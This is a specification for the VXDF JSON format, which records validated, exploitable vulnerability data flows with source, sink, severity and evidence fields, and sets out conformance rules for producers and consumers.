Validated Exploitable Data Flow (VXDF) Format

Problem-to-Concept Narrative

Modern software security teams are overwhelmed by large volumes of potential vulnerability alerts, many of which turn out to be false positives. Static Application Security Testing (SAST) tools can report thousands of code warnings in a large codebase, yet even the best tools still produce false positives around 5% of the time (Why Static Code Analysis Doesn't Belong Into Your CI). In practice this means hundreds or thousands of non-issues that developers must sift through, leading to "alert fatigue" and wasted effort. One industry report estimated organizations spend over 21,000 hours annually investigating false alarms – time that could be spent fixing real vulnerabilities. This overload causes frustration and teams may start ignoring scanner outputs, increasing the risk that true critical issues get overlooked.

On the other side, dynamic testing and manual penetration tests can definitively prove exploits but often happen late in the cycle and are not easily correlated back to specific code paths. There is a gap between **potential** issues reported by automated scanners and **confirmed** exploitable issues that developers can trust and act on immediately. Today, when a static tool flags a possible vulnerability (e.g. "unvalidated input flows into SQL query"), a security engineer typically must manually reproduce or verify the issue before convincing developers to fix it. This process is ad-hoc and not standardized – some teams attach proof-of-concept inputs or stack traces in a ticket, others might provide a narrative, but there's no common format to bundle a code **data flow** with the evidence that it's truly exploitable. Consequently, critical context can get lost in translation.

VXDF (Validated Exploitable Data Flow) is designed to solve this problem by providing a **unified, evidence-backed format** for describing code vulnerability flows. It acts as the missing link between static analysis findings and actionable security bugs. Each VXDF record describes a **data flow** from a vulnerability's source to sink (the entry point of untrusted data to the point where it causes harm), and critically, includes **validation evidence** that the flow is exploitable in practice. By capturing both the technical trace and proof (such as a test payload that triggers the issue), VXDF files let security tools, developers, and auditors exchange confirmed vulnerability information in a machine-readable yet human-comprehensible way.

Consider a typical scenario: A SAST tool flags a SQL injection path in a web application. Instead of producing a lengthy PDF or proprietary output that developers might distrust, the tool (or a follow-up verification step) generates a VXDF document for each detected flow. The VXDF contains the code locations of the untrusted input and the dangerous query, an explanation of the path data takes, and an example input that was used to successfully exploit the issue (e.g. a sample malicious username that logs in without a password). When the developer receives this VXDF report, they see the exact lines of code and a proof that the issue is real – greatly reducing ambiguity and back-and-forth. The standardized JSON format means the report could also be ingested by other security systems: for instance, a central vulnerability management platform can combine VXDF outputs from multiple tools, or a bug bounty program could require submissions in VXDF for consistency.

In summary, VXDF's **value proposition** is to streamline the vulnerability fix cycle by focusing on **validated exploitable flows**. It filters out noise (each flow must have supporting evidence), provides precise code-level context (source and sink locations, and the path between them), and does so in a format that is tool-agnostic and easy to integrate. This bridges the gap between automated scanning and remediation: developers get high-fidelity security bug reports they can trust, and security teams can more easily hand off confirmed issues. VXDF aims to become a standard that various SAST/DAST tools, security researchers, and organizations can adopt, much like how SARIF standardized static analysis output (Unlocking the Power of SARIF: The Backbone of Modern Static Analysis - DEV Community), or how SPDX standardized software bill-of-materials data (SPDX: It's Already in Use for Global Software Bill of Materials (SBOM) and Supply Chain Security - Linux Foundation). By focusing on **exploitable data flows**, VXDF complements these efforts (for instance, SARIF can list potential issues, and VXDF can be used for the subset that are confirmed; SPDX can enumerate components, and VXDF can describe vulnerabilities found in those components). Ultimately, VXDF helps teams **prioritize real risks** and **share actionable security findings** in a consistent way, improving remediation times and reducing fatigue from false positives.

VXDF Specification Document

Rationale & Goals

Rationale

VXDF was created to address specific pain points in application security validation and communication:

- **Filtering Noise:** Security teams struggle with high false-positive rates from static analysis tools, which consume time and erode trust (Why Static Code Analysis Doesn't Belong Into Your CI). VXDF tackles this by requiring evidence for each reported flow, ensuring that every entry corresponds to a proven issue rather than a mere suspicion. This means consumers of VXDF data (developers, auditors, or tools) can have greater confidence that "if it's in VXDF, it's real," focusing their effort only on impactful, confirmed vulnerabilities.

- **Unified Format:** In the current state, each security tool often has its own output format or dashboard (Unlocking the Power of SARIF: The Backbone of Modern Static Analysis - DEV Community). This fragmentation makes it difficult to aggregate results or integrate into DevSecOps pipelines. VXDF provides a unified JSON-based format for exploitable-flow reports, enabling interoperability. Different scanning tools (SAST, DAST, fuzzers, manual pen-test notes) can output VXDF, and a single pipeline can collate these into one view. This streamlines workflows and reduces custom scripting and manual result translation.

- **Actionable Detail:** Often vulnerability reports lack the detailed context developers need to quickly reproduce and fix the issue. VXDF explicitly includes the **source location** (where tainted data comes from), the **sink location** (where the exploit occurs), and an optional step-by-step trace of how data travels. This satisfies the developers' need to understand *exactly* what to fix and why. Additionally, the included evidence (like an exploit string or test case) demonstrates the impact (e.g. "using payload X yields admin access"), which can motivate prompt fixes and help in verifying that a patch actually resolves the problem.

- **Bridging Gaps:** VXDF is designed as a bridge between high-level vulnerability advisories and low-level code specifics. For example, vulnerability exchange formats like VEX focus on stating whether a product is affected by a known issue (Vulnerability Exploitability eXchange (VEX) – Use Cases), but they don't describe *how* the vulnerability manifests in code. VXDF fills that gap by conveying the technical narrative of an exploit's path. It can be used internally (e.g., security team to development team) or externally (e.g., a researcher reporting a bug to a vendor) in a consistent way. It also complements Software Bill of Materials (SBOM) standards like SPDX (SPDX: It's Already in Use for Global Software Bill of Materials (SBOM) and Supply Chain Security - Linux Foundation) by linking *from* a component in an SBOM *to* detailed vulnerability flow information.

- **Ease of Automation:** A structured format like VXDF enables automation in vulnerability management. Tools can automatically **validate** scanner findings by attempting exploits and then output a VXDF report if successful. CI/CD pipelines could automatically reject a build that introduces a new VXDF-described vulnerability. Likewise, ticketing systems can ingest VXDF to auto-create richly detailed bug tickets. The design of VXDF emphasizes machine-readability (JSON with a defined schema) so that such automation is straightforward, while also remaining human-friendly (readable field names, optional code snippets, etc.).

Goals

- *Interoperability:* Provide a common language for different security tools and teams to exchange verified vulnerability flow information. A VXDF file generated by one tool

MUST be usable by others (e.g., a DAST tool's output could be read by a code analysis dashboard for developers) with minimal translation.

- *Precision:* Capture the essential details of an exploitable data flow – including the code locations of sources and sinks – in a precise manner. The format **SHOULD** minimize ambiguity (for example, clearly distinguishing source vs sink, and using explicit fields for things like severity, CWE, etc.).

- *Evidence-centric:* Emphasize validation evidence. Every flow **MUST** carry some proof or explanation of exploitability. This directly addresses the false-positive problem by design.

- *Simplicity:* Keep the format as lean as possible while still covering necessary information. It **SHOULD** be easy to produce and consume by typical JSON libraries. Unnecessary complexity or deeply nested structures are avoided, so that even a simple script or a developer with minimal JSON experience can make sense of a VXDF file.

- *Extensibility:* Recognize that different organizations or tools might have custom needs. The spec defines an extension mechanism (via vendor-specific `x-*` fields) to allow adding extra information without breaking compliance. One goal is to enable experimentation and domain-specific additions (e.g., adding a company's internal risk score) while maintaining a core standard.

- *Align with Existing Standards:* Where possible, reuse or map to concepts from existing standards (like SARIF for static analysis results, or CWEs for weakness classification) instead of reinventing terminology. VXDF aims to complement, not conflict with, widely adopted frameworks. An explicit goal is to ensure VXDF can be easily **mapped** to SARIF and linked to SBOMs (SPDX), which will aid adoption and integration (detailed in Appendix B).

By achieving these goals, VXDF v1.0 intends to significantly improve how validated security findings are documented and shared, ultimately reducing time-to-fix for critical vulnerabilities and fostering greater collaboration between security and development teams.

Terminology

The key words `MUST`, `MUST NOT`, `REQUIRED`, `SHALL`, `SHALL NOT`, `SHOULD`, `SHOULD NOT`, `RECOMMENDED`, `MAY`, and `OPTIONAL` in this document are to be interpreted as described in RFC 2119.

- **AffectedComponent (**`ExploitFlow.affectedComponents[]`**)**: An object that describes a specific software component, library, hardware device, configuration file, service, or other asset that is implicated in the vulnerability. It includes identifiers like PURL or CPE, version, and `componentType`. This is crucial for non-flow based vulnerabilities or to specify the primary components involved in any vulnerability. (See `$defs/AffectedComponent` in Appendix A: Normative JSON Schema and Appendix N for `componentType` definitions).

- **ApplicationInfo (`VXDFPayload.applicationInfo`)**: An object within the VXDF document root that provides metadata about the application, system, or product that was assessed, including its name, version, and identifiers like PURL or CPE. (See `applicationInfo` property in Appendix A: Normative JSON Schema).
- **Category (`ExploitFlow.category`)**: A string field providing a high-level classification of the vulnerability type (e.g., "INJECTION", "BROKEN_ACCESS_CONTROL"). A list of recommended categories and their descriptions is provided in Appendix I.
- **CorrelationGuid (`ExploitFlow.correlationGuids[]`)**: A globally unique identifier used to correlate an `ExploitFlow` with related findings or entries in other systems or formats (e.g., a `result.correlationGuid` from a SARIF report).

- **CWE (Common Weakness Enumeration)**: A standardized identifier for types of software and hardware weaknesses. VXDF `ExploitFlows` can reference one or more CWE identifiers to precisely classify the nature of the weakness.
- **CustomProperties (`customProperties`)**: Designated objects within various VXDF structures (e.g., `VXDFPayload`, `ExploitFlow`, `Evidence`) that allow producers to include arbitrary additional key-value data not covered by the standard fields. Keys within `customProperties` should ideally be namespaced.
- **Evidence (`ExploitFlow.evidence[]`)**: A mandatory component of every `ExploitFlow`. It is an array of one or more Evidence objects, each providing structured, machine-readable proof that validates the exploitability of the vulnerability. Each Evidence object has an `evidenceType` and a corresponding structured `data` field. (See `$defs/Evidence` in Appendix A: Normative JSON Schema and Appendix P for `evidenceType` definitions).
- **EvidenceDataVariant (`Evidence.data`)**: The structured object within an Evidence item containing the detailed, machine-readable evidence content. The specific fields within this `data` object depend entirely on the `evidenceType`. (See `$defs/EvidenceDataVariant` and specific data schemas like `$defs/HttpRequestLogData` in Appendix A: Normative JSON Schema).
- **EvidenceType (`Evidence.evidenceType`)**: An enumerated string within an Evidence object that specifies the nature of the evidence provided (e.g., "HTTP_REQUEST_LOG", "POC_SCRIPT", "CONFIGURATION_FILE_SNIPPET"). The value of `evidenceType` determines the expected schema for the corresponding `Evidence.data` object. (See Appendix P for definitions and data structure summaries).

- **ExploitFlow**: The central object in a VXDF document, representing a single, validated, exploitable vulnerability instance. It contains detailed information about the vulnerability's nature, location (either as a data flow via `source`/`sink`/`steps` or via `affectedComponents`), severity, and the evidence proving its exploitability. (Formerly referred to simply as "Flow" in earlier drafts; see `$defs/ExploitFlow` in Appendix A: Normative JSON Schema).
- **Extension Field (`x-` prefix)**: An ad-hoc custom field within a VXDF JSON object, prefixed with `x-` (e.g., `x-internal-tracking-id`). These are used for data not fitting into standard fields or `customProperties` bags. Conforming consumers should ignore unrecognized `x-` fields. (See Appendix E: Extension Mechanism).
- **GeneratedAt (`VXDFPayload.generatedAt`)**: An ISO 8601 date-time timestamp indicating when the VXDF document was generated.
- **GeneratorTool (`VXDFPayload.generatorTool`)**: An object within the VXDF document root that identifies the tool, script, or process that generated the VXDF document, including its `name` and optional `version`.

- **ID (Document Identifier - `VXDFPayload.id`)**: A universally unique identifier (UUID) for the VXDF document itself.
- **ID (ExploitFlow Identifier - `ExploitFlow.id`)**: A UUID uniquely identifying a specific `ExploitFlow` instance within the VXDF document.
- **ID (Evidence Identifier - `Evidence.id`)**: An optional UUID uniquely identifying a specific `Evidence` item, useful for cross-referencing.

- **Location**: A detailed object used to describe a specific locus relevant to a vulnerability, such as a point in source code, a web endpoint parameter, a configuration file setting, or a software component. Its meaning is further qualified by its `locationType` property. (See `$defs/Location` in Appendix A: Normative JSON Schema and Appendix L for `locationType` definitions).
- **LocationType (`Location.locationType`)**: An enumerated string within a `Location` object that specifies the nature of the resource or entity being identified (e.g., "SOURCE_CODE_UNIT", "WEB_ENDPOINT_PARAMETER", "SOFTWARE_COMPONENT_LIBRARY", "CONFIGURATION_FILE_SETTING"). (See Appendix L for definitions and usage guidance).
- **Remediation (`ExploitFlow.remediation`)**: An object providing guidance on how to remediate the vulnerability, including a `summary` and optional `detailsUrl` or `codePatches`.

- **Severity (`ExploitFlow.severity`)**: A structured object representing the criticality and potential impact of the vulnerability. It `MUST` include a qualitative `level` (e.g., "CRITICAL", "HIGH") and MAY include detailed quantitative scoring using CVSS v3.1 and/or CVSS v4.0, along with a justification. (See $defs/Severity in Appendix A: Normative JSON Schema and Appendix J for level definitions).

- **Sink (**ExploitFlow.sink**)**: (Primarily for flow-based vulnerabilities) A Location object describing the endpoint of a data flow where untrusted data or control is consumed in a way that manifests the exploit (e.g., a function executing a SQL query, code rendering unescaped data to HTML).
- **Source (**ExploitFlow.source**)**: (Primarily for flow-based vulnerabilities) A Location object describing the entry point of untrusted data or the origin of control that leads to the exploit (e.g., an HTTP request parameter, a function reading from a file).
- **Status (**ExploitFlow.status**)**: An enumerated string indicating the current stage of a validated vulnerability finding within a management or remediation lifecycle (e.g., "OPEN", "REMEDIATED", "ACCEPTED_RISK"). (See Appendix K for definitions).
- **Tags (**ExploitFlow.tags[]**)**: An array of custom string tags for additional categorization, filtering, or tracking of an ExploitFlow.
- **Title (**ExploitFlow.title**)**: A concise, human-readable title summarizing the vulnerability within an ExploitFlow.
- **TraceStep (**ExploitFlow.steps[]**)**: (Primarily for flow-based vulnerabilities) An object within the steps array of an ExploitFlow, describing an intermediate point in an ordered trace from source to sink. It includes an order, a Location object, a description, a stepType, and optional evidenceRefs. (Formerly referred to simply as "Step"; see $defs/TraceStep in Appendix A: Normative JSON Schema and Appendix M for stepType definitions).
- **ValidatedAt (**ExploitFlow.validatedAt**)**: An ISO 8601 date-time timestamp indicating when the vulnerability was validated as exploitable for a given ExploitFlow.
- **ValidationEngine (**ExploitFlow.validationEngine**)**: An object providing information about the tool, engine, or methodology primarily responsible for validating the exploitability of a finding in an ExploitFlow.

- **ValidationMethod (**Evidence.validationMethod**)**: An enumerated string within an Evidence object that describes the primary technique or approach used to obtain or confirm that specific piece of evidence (e.g., "DYNAMIC_ANALYSIS_EXPLOIT", "MANUAL_PENETRATION_TESTING_EXPLOIT", "SCA_CONTEXTUAL_VALIDATION"). (See Appendix O for definitions).
- **VXDF Document (or VXDF File)**: A JSON document that conforms to this VXDF v1.0.0 specification and its normative schema, containing metadata (root

properties) and one or more `ExploitFlow` objects.

- **VXDFVersion (`VXDFPayload.vxdfVersion`)**: A string that specifies the version of the VXDF schema to which the document conforms. For this specification, it `MUST` be "1.0.0".

VXDF Document Structure

A Validated Exploitable Data Flow (VXDF) document is a JSON object designed to represent one or more validated, exploitable security vulnerabilities with detailed evidence. The structure is organized to be both machine-readable for automation and human-comprehensible for analysis and remediation. The top-level VXDF document consists of metadata about the report itself and a primary array containing the details of each validated exploit flow or vulnerability instance.

1. Root Document Object (`VXDFPayload`)

The root of a VXDF document is an object, referred to conceptually as `VXDFPayload`, and has the following key properties:

- `vxdfVersion` (String, Mandatory): Specifies the version of the VXDF schema to which this document conforms. For this specification, it `MUST` be "1.0.0".
- `id` (String, Mandatory, UUID Format): A universally unique identifier (UUID) for this VXDF document. This allows the entire report to be uniquely referenced.
    - Example: `"a1b2c3d4-e5f6-7890-1234-567890abcdef"`
- `generatedAt` (String, Mandatory, ISO 8601 Format): An ISO 8601 date-time timestamp indicating when this VXDF document was generated (preferably in UTC).
    - Example: `"2025-05-17T14:30:00Z"`
- `generatorTool` (Object, Optional): Information about the tool, script, or process that generated the VXDF document.
    - `name` (String, Mandatory): The name of the generator. Example:
    - `"OWASP VXDF Validator"`
    - `version` (String, Optional): The version of the generator tool. Example:
    - `"3.5.1"`
- `applicationInfo` (Object, Optional): Describes the application, system, or component that was the target of the assessment and to which the findings apply.
    - `name` (String, Mandatory): The primary name of the target. Example:
    - `"QuantumLeap Finance Portal"`
    - `version` (String, Optional): The version of the target application or component. Example:

    - "2.7.3-hotfix2"
  - repositoryUrl (String, Optional, URI Format): URL of the source code repository.
  - environment (String, Optional): The environment in which the assessment was performed or to which the findings pertain (e.g., "production", "staging", "UAT", "development").
  - purl (String, Optional): A Package URL (PURL) identifying the overall application or target.
  - cpe (String, Optional): A Common Platform Enumeration (CPE) for the overall application or target.
  - customProperties (Object, Optional): A key-value map for additional custom information about the application or target.
- exploitFlows (Array, Mandatory): An array containing one or more ExploitFlow objects. Each object in this array represents a single, validated, exploitable vulnerability. This is the core of the VXDF document.
- customProperties (Object, Optional): A key-value map for arbitrary custom data relevant to the entire document that is not covered by other standard fields. Keys should ideally be namespaced to avoid collisions.

2. ExploitFlow Object Structure

Each object within the exploitFlows array provides detailed information about a specific validated vulnerability. Its structure is designed to be flexible for both flow-based and non-flow-based vulnerabilities:

- id (String, Mandatory, UUID Format): A UUID uniquely identifying this specific ExploitFlow instance within the VXDF document, and ideally globally if findings are aggregated.
- title (String, Mandatory): A concise, human-readable title summarizing the vulnerability.
  - Example: "Authenticated SQL Injection in Admin User Search"
- description (String, Optional): A more detailed explanation of the vulnerability, its context, how it can be exploited, and its potential business or technical impact.
- validatedAt (String, Mandatory, ISO 8601 Format): An ISO 8601 date-time timestamp indicating when this vulnerability was validated as exploitable.
- validationEngine (Object, Optional): Information about the tool, engine, or methodology primarily responsible for validating the exploitability of this finding.
  - name (String, Mandatory): Name of the validation tool, engine, or method (e.g., "Manual Penetration Test by SecureTeam", "DAST Engine X v2.1", "Automated Exploit Verification Module").
  - version (String, Optional): Version of the tool/engine, if applicable.

- severity (Object, Mandatory): A structured object detailing the severity of the vulnerability. (See $defs/Severity in Appendix A and definitions in Appendix J). This includes:
    - level (String, Mandatory): A qualitative severity rating (e.g., "CRITICAL", "HIGH", "MEDIUM", "LOW", "INFORMATIONAL", "NONE").
    - cvssV3_1 (Object, Optional): Detailed CVSS v3.1 scoring information.
    - cvssV4_0 (Object, Optional): Detailed CVSS v4.0 scoring information.
    - customScore (Object, Optional): For representing scores from other systems.
    - justification (String, Optional): An explanation for the assigned severity.
- category (String, Mandatory): A high-level classification of the vulnerability type. It is STRONGLY RECOMMENDED to use values from the controlled vocabulary in Appendix I.
- cwe (Array of Strings, Optional): An array of Common Weakness Enumeration (CWE) identifiers (e.g., ["CWE-89", "CWE-20"]) relevant to this vulnerability.
- remediation (Object, Optional): Guidance on how to remediate the vulnerability.
    - summary (String, Mandatory): A brief summary of the remediation advice.
    - detailsUrl (String, Optional, URI Format): A URL pointing to more detailed remediation guidance.
    - codePatches (Array of Objects, Optional): Suggested code patches or diffs.
- status (String, Optional, Default: "OPEN"): The current status of this vulnerability finding from a controlled vocabulary (e.g., "OPEN", "REMEDIATED", "ACCEPTED_RISK"). (See Appendix K for definitions).
- tags (Array of Strings, Optional): Custom tags for additional categorization, filtering, or tracking (e.g., "PCI", "PII_EXPOSED", "SPRINT-23").
- **Describing the Vulnerability Locus**: An ExploitFlow SHOULD provide details using one or both of the following approaches:
    - **Flow-Based Details** (for vulnerabilities involving data flow):
        - source (Object, Location, Optional): Describes the entry point of untrusted data or the starting point of the exploit. (See $defs/Location in Appendix A and Appendix L).
        - sink (Object, Location, Optional): Describes the point of exploitation where the vulnerability manifests. (See $defs/Location in Appendix A and Appendix L).
        - steps (Array of TraceStep Objects, Optional): An ordered sequence detailing the data flow or exploit path from source to sink. (See $defs/TraceStep in Appendix A and Appendix M).
    - **Component-Based Details** (essential for non-flow vulnerabilities, and can augment flow-based ones):

        - `affectedComponents` (Array of `AffectedComponent` Objects, Optional): Details specific software components, libraries, hardware, services, or configuration files that are vulnerable or contribute to the vulnerability. (See `$defs/AffectedComponent` in Appendix A and Appendix N).
    - *(Guidance: An `ExploitFlow` `MUST` provide substantive details using either both `source` and `sink` properties OR at least one item in the `affectedComponents` array. It `MAY` include both if appropriate.)*
- `evidence` (Array of `Evidence` Objects, Mandatory): This is a critical component, providing the proof of exploitability. At least one `Evidence` object `MUST` be present. Each `Evidence` object includes:
    - `id` (String, Optional, UUID Format): A UUID uniquely identifying this evidence item.
    - `evidenceType` (String, Mandatory): An enumerated string indicating the kind of evidence provided (e.g., "HTTP_REQUEST_LOG", "POC_SCRIPT"). (See Appendix P).
    - `validationMethod` (String, Optional): An enumerated string indicating how this evidence was obtained (e.g., "DYNAMIC_ANALYSIS_EXPLOIT"). (See Appendix O).
    - `description` (String, Mandatory): A human-readable summary of this evidence item.
    - `timestamp` (String, Optional, ISO 8601 Format): When this evidence was captured or observed.
    - `data` (Object, Mandatory): A structured object containing the detailed, machine-readable evidence content, the schema for which depends entirely on the `evidenceType`.
- `correlationGuids` (Array of Strings, Optional): An array of globally unique identifiers used to correlate this finding with related findings in other systems.
- `customProperties` (Object, Optional): A key-value map for arbitrary custom data specific to this `ExploitFlow`. Keys should ideally be namespaced.

3. Supporting Object Definitions

The `ExploitFlow` object utilizes several other complex objects to provide detailed information. These include `Location`, `TraceStep`, `AffectedComponent`, `Severity` (and its CVSS variants), and `Evidence` (and its data variants). The formal structures of these objects, including their properties, data types, and controlled vocabularies, are normatively defined in Appendix A: Normative JSON Schema and further described in their respective descriptive appendices (I-P).

4. Extensibility

VXDF is designed to be extensible. Beyond the defined `customProperties` bags, if implementers need to include additional, tool-specific, or experimental data not covered by the standard schema, they `MUST` prefix such custom fields with `x-` (e.g., `x-mytool-internal-score`). Conforming VXDF consumers `SHOULD` ignore any `x-` prefixed fields they do not recognize, ensuring forward compatibility. (See Appendix E: Extension Mechanism).

Summary of Benefits of This Structure

This refined VXDF document structure aims to provide a comprehensive yet flexible format that:

- Clearly identifies the validated vulnerability (`title`, `id`, `category`, `cwe`).
- Quantifies its potential impact (structured `severity` with CVSS integration).
- Precisely locates the vulnerability, whether it's a code flow (`source`, `sink`, `steps`) or an issue within a specific component or configuration (`affectedComponents`, using detailed `Location` objects).
- Crucially, provides rich, structured, and machine-readable `evidence` of exploitability (evidence array with typed, structured `data`), catering to a vast range of validation methods and exploitability components.
- Maintains interoperability through defined mappings and correlation identifiers.
- Allows for standardized yet extensible reporting.

JSON Schema (Normative)

The normative JSON Schema definition for Validated Exploitable Data Flow (VXDF) v1.0.0 is provided in Appendix A. This schema precisely defines the allowed structure of a VXDF JSON document. A VXDF file `MUST` validate against this schema to be considered compliant.

The schema is written in JSON Schema draft 2020-12 format for precision, but any equivalent validation mechanism or code is acceptable as long as it enforces the same rules. Adherence to this schema is critical for interoperability.

Conformance & Validation

This section describes what it means for a VXDF document, as well as for tools that produce or consume VXDF documents, to conform to the VXDF v1.0.0 specification. Adherence to these conformance criteria is essential for ensuring interoperability and the reliable exchange of validated vulnerability information.

1. VXDF Document Conformance:

A VXDF document is conformant if it meets all of the following criteria:

- 1.1. Valid JSON: It MUST be a syntactically valid JSON object as defined by ECMA-404 and RFC 8259.
- 1.2. Character Encoding: It MUST be encoded in UTF-8.
- 1.3. Schema Adherence: It MUST validate against the normative VXDF v1.0.0 JSON Schema provided in this specification (see Appendix A: VXDF JSON Schema). This includes adherence to all defined properties, data types, formats (e.g., `date-time`, `uuid`), required fields, and controlled vocabularies (enums).
- 1.4. Root Object Requirements:
  - It MUST have a top-level object containing the mandatory properties: `vxdfVersion`, `id`, `generatedAt`, and `exploitFlows`, as defined in the schema.
  - The `vxdfVersion` property MUST have the string value `"1.0.0"`.
  - The `id` property (document identifier) MUST be a string formatted as a UUID.
- 1.5. `exploitFlows` Array:
  - The `exploitFlows` array MUST be present and MUST contain at least one `ExploitFlow` object. An empty `exploitFlows` array is not permitted; if no validated, exploitable vulnerabilities are found, a VXDF document should typically not be produced for that specific scope or should clearly indicate such via external means or within a broader reporting context.
- 1.6. `ExploitFlow` Object Requirements: Each `ExploitFlow` object within the `exploitFlows` array MUST adhere to its definition in the JSON schema, including:
  - Mandatory Properties: It MUST include the properties: `id`, `title`, `severity` (as a structured object with at least the `level` field), `category`, `evidence`, and `validatedAt`.
  - Identifier (`id`): The `id` property of an `ExploitFlow` MUST be a string formatted as a UUID and SHOULD be unique within the VXDF document. For aggregation purposes, globally unique `ExploitFlow` IDs are recommended.
  - Locus Description: Each `ExploitFlow` MUST describe the locus of the vulnerability. It MUST provide substantive details using either:
    - Both `source` and `sink` properties (for flow-based vulnerabilities), OR
    - At least one item in the `affectedComponents` array (for non-flow or component-centric vulnerabilities). An `ExploitFlow` MAY include both flow-based details and `affectedComponents` if appropriate for clarity.
  - Evidence (`evidence` array):
    - It MUST contain at least one `Evidence` object.
    - Each `Evidence` object MUST include the `evidenceType`, `description`, and a `data` object.
    - The structure of the `Evidence.data` object MUST conform to the specific schema defined for the declared `Evidence.evidenceType` (as

detailed in the `$defs/EvidenceDataVariant` section of the JSON schema).

- 1.7. String Content: All string property values MUST NOT contain control characters that are not permitted in JSON strings. If special characters (e.g., newlines, quotes) are part of the string data, they MUST be properly escaped according to JSON string encoding rules.
- 1.8. Timestamps: Properties defined with `format: "date-time"` (e.g., `generatedAt`, `validatedAt`, `Evidence.timestamp`) MUST follow the ISO 8601 date-time format, preferably including the UTC 'Z' designator or a timezone offset (e.g., `"2025-05-17T10:00:00Z"`, `"2025-05-17T12:30:00+02:00"`). If no timezone is specified, consumers may assume UTC but this practice is discouraged for timestamps representing specific moments.
- 1.9. `steps` Array Logic (If Present): If a `steps` array is provided within an `ExploitFlow` (for flow-based vulnerabilities):
    - It SHOULD represent a logical and ordered sequence of operations or data propagation points from the `source` to the `sink`.
    - Each `TraceStep` object within the array MUST include the `order`, `location`, and `description` properties.
    - While the schema allows flexibility, producers SHOULD ensure that the `steps` provide a coherent trace that aids in understanding the exploit path.
- 1.10. `Location` Object Content: The content of `Location` objects (used in `source`, `sink`, `steps`, and `AffectedComponent.locations`) SHOULD be relevant and appropriately detailed for the specified `locationType`. For example, file paths should be meaningful within the context of the target system (e.g., project-relative, absolute if necessary and unambiguous, or a URI). The format of specific location properties (like `filePath`) is not strictly mandated beyond being a string, but producers SHOULD strive for consistency and clarity, documenting their path conventions if they are non-standard.
- 1.11. Unknown Properties (Strictness):
    - A VXDF document MUST NOT contain additional properties at the root level or within standard VXDF objects (`ExploitFlow`, `Severity`, `Evidence`, etc.) that are not explicitly defined in the schema, unless such properties are part of a defined `customProperties` bag or are prefixed with `x-` as described below.
    - The schema enforces this for most objects using `additionalProperties: false`. Violations (e.g., a misspelled standard property name like `"severtiy"`) will render the document non-conformant.
- 1.12. Extensibility (`customProperties` and `x-` Prefixes):
    - `customProperties` Bags: Where defined (e.g., at the root, `ExploitFlow`, `ApplicationInfo`, `Location`, `Evidence`, `AffectedComponent`, `TraceStep`), `customProperties` objects allow for arbitrary key-value pairs. Keys within

these bags SHOULD be namespaced (e.g., `"com.example.internalRisk": "High"`) to avoid collisions.
  - `x-` Prefixed Fields: For custom data outside of designated `customProperties` bags, or when a custom field needs to be at the same level as standard fields (though this is less common), such fields MUST be prefixed with `x-` (e.g., `"x-legacy-finding-id": "OLD-123"`). The schema allows for these via `patternProperties: {"^x-": {}}` in conjunction with `additionalProperties: false` for the standard fields.
  - Values of extension fields or custom properties MUST be valid JSON data types.
- 1.13. Handling Future Versions: A conformant VXDF v1.0.0 consumer encountering a VXDF document with a `vxdfVersion` greater than "1.0.0" MAY attempt to process it on a best-effort basis but SHOULD be cautious and clearly indicate if it cannot fully support the newer version. It MAY ignore unrecognized fields from a future minor or patch version if that version guarantees backward compatibility. For future major versions, significant changes are possible, and v1.0.0 consumers are not expected to fully process them without updates.

2. Producer Conformance:

A tool, system, or process that generates (produces) VXDF documents is conformant if it meets the following criteria:

- 2.1. Output Valid Documents: It MUST output VXDF documents that are conformant according to all criteria listed in Section 1 (VXDF Document Conformance).
- 2.2. Populate Mandatory Information: It MUST populate all mandatory fields defined in the VXDF JSON schema with valid and accurate data according to their definitions. For example, every `ExploitFlow` MUST include at least one `Evidence` object with a valid `evidenceType` and a corresponding structured `data` object.
- 2.3. Use Fields As Intended: It SHOULD use all schema-defined fields according to their semantic meaning as described in this specification. For instance, the `severity` object should accurately reflect risk, and `category` should use recommended terms where possible. Custom or internal metrics not fitting standard fields SHOULD be placed in `customProperties` or use `x-` prefixes.
- 2.4. Minimize Sensitive Data Exposure: Producers SHOULD NOT include sensitive data (e.g., PII, credentials, proprietary source code beyond necessary snippets, raw private keys) in VXDF output unless it is absolutely essential for understanding or validating the vulnerability and cannot be masked or anonymized. Refer to the "Security & Privacy Considerations" section.

- 2.5. Schema Reference: It SHOULD include the `$schema` keyword in the root of the JSON document, pointing to the canonical URL of the VXDF v1.0.0 JSON schema (e.g., `"https://vxdf.org/schemas/vxdf-1.0.0.json"`).
- 2.6. Data Duplication and Referencing: If multiple `ExploitFlow` objects share common elements (e.g., the same piece of evidence applies to multiple flows, or multiple flows target the same `AffectedComponent`):
  - For `Evidence`, if an `Evidence` object is given a unique `id`, other parts of the VXDF document (like `TraceStep.evidenceRefs` or `AffectedComponent.evidenceRefs`) MAY reference it. This can reduce some duplication if the evidence itself is complex to state multiple times.
  - For other shared information (e.g., multiple `ExploitFlow`s originating from the same source but affecting different sinks), VXDF v1.0.0 generally requires such information to be stated within each relevant `ExploitFlow`. Producers SHOULD handle this by either fully populating each `ExploitFlow` or by using `correlationGuids` if the intent is to link conceptually related but distinct flows.

3. Consumer Conformance:

Software or a process that reads or ingests (consumes) VXDF documents is conformant if it meets the following criteria:

- 3.1. Schema Validation (Recommended): It SHOULD validate incoming VXDF documents against the VXDF v1.0.0 JSON Schema. If a document is found to be non-conformant, the consumer SHOULD reject it or handle the errors gracefully (e.g., log a warning, process only valid portions if feasible and clearly communicated). Consumers MUST NOT blindly trust the structure of an incoming document if validation is not performed.
- 3.2. Semantic Interpretation: It MUST interpret the properties and values within a conformant VXDF document according to the semantics defined in this specification. For example, it must understand the structure of the `severity` object, the meaning of different `evidenceType` values and their corresponding `data` structures, and the distinction between `source`/`sink` and `affectedComponents`.
- 3.3. Handling Extensions:
  - It MUST ignore any `x-` prefixed properties it does not recognize without erroring, provided the rest of the document is conformant.
  - It MAY process recognized `x-` prefixed properties if it has specific knowledge of them.
  - When encountering `customProperties` bags, it MAY choose to process known keys within them or ignore the entire bag or specific unknown keys.
- 3.4. Processing Known Fields: Consumers SHOULD NOT silently ignore known, standard fields defined in the schema, even if they choose not to utilize the information

from every field in their primary functionality. If a consumer re-serializes or transforms VXDF data, it SHOULD endeavor to preserve all standard information to avoid data loss.

- 3.5. Evidence Processing (Recommended): While not strictly required for basic conformance, consumers (especially those involved in triage, analysis, or automated response) SHOULD attempt to parse and utilize the structured `data` field within `Evidence` objects based on the `evidenceType`. The richness of VXDF lies in this structured evidence.
